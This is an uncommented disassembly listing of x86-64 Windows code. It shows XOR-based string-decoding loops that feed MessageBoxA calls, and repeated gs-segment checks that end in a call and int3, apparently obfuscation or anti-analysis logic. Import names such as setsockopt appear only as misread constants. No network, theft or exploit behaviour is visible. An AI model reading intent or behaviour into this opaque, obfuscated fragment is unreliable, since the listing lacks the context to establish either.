mov word [rbp + 0x76c], reloc.WLDAP32.dll_Ordinal_60
mov r9, r14
movabs r8, 0x176129119e
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r10, 0x2ec252233c
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0x758], dil
inc r9
add r8, r12
add r11, 0x15
cmp r8, r10
jb 0x14002fd4d
mov byte [rbp + 0x76d], r14b
xor r9d, r9d
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x758]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x44]
cmp rax, rsi
jne 0x14002fe87
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, 0x2e0a2f32
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, 0x1e0be331
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002fe67
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002fe67
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002fe87
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, rsi
jne 0x140030253
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ff15
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ff15
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030253
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x14002fff0
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, 0x2e0a2f32
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ffd0
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ffd0
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002fff0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
movdqa xmm0, xmmword [0x1400ea7c0]
movdqu xmmword [rbp + 0x380], xmm0
mov word [rbp + 0x390], 0xe0
mov rdi, r14
movabs rbx, 0x11d01f4a5
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x380]
lea rcx, [rbp + 0x380]
call fcn.140030384
xor al, dil
mov byte [rbp + rdi + 0x380], al
inc rdi
cmp rdi, 0x11
jb 0x140030016
mov byte [rbp + 0x391], r14b
movdqa xmm0, xmmword [0x1400eaa40]
movdqu xmmword [rbp + 0xcd8], xmm0
movdqa xmm1, xmmword [0x1400eaa20]
movdqu xmmword [rbp + 0xce8], xmm1
movdqa xmm0, xmmword [0x1400eaa90]
movdqu xmmword [rbp + 0xcf8], xmm0
mov dword [rbp + 0xd08], 0x86812cd8
mov dword [rbp + 0xd0c], 0xafdf9080
mov dword [rbp + 0xd10], 0xb5ba5648
mov word [rbp + 0xd14], Ordinal_200
mov rdi, r14
mov qword [rsp + 0x20], rbx
mov r9d, 0x3d
mov r8, rdi
mov dl, byte [rbp + rdi + 0xcd8]
lea rcx, [rbp + 0xcd8]
call fcn.1400303f8
xor al, dil
mov byte [rbp + rdi + 0xcd8], al
inc rdi
cmp rdi, 0x3d
jb 0x1400300ab
mov byte [rbp + 0xd15], r14b
xor r9d, r9d
lea r8, [rbp + 0x380]
lea rdx, [rbp + 0xcd8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x1400301a9
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030189
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030189
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400301a9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140030253
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030233
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030233
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030253
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov ecx, 1
call fcn.140096588
int3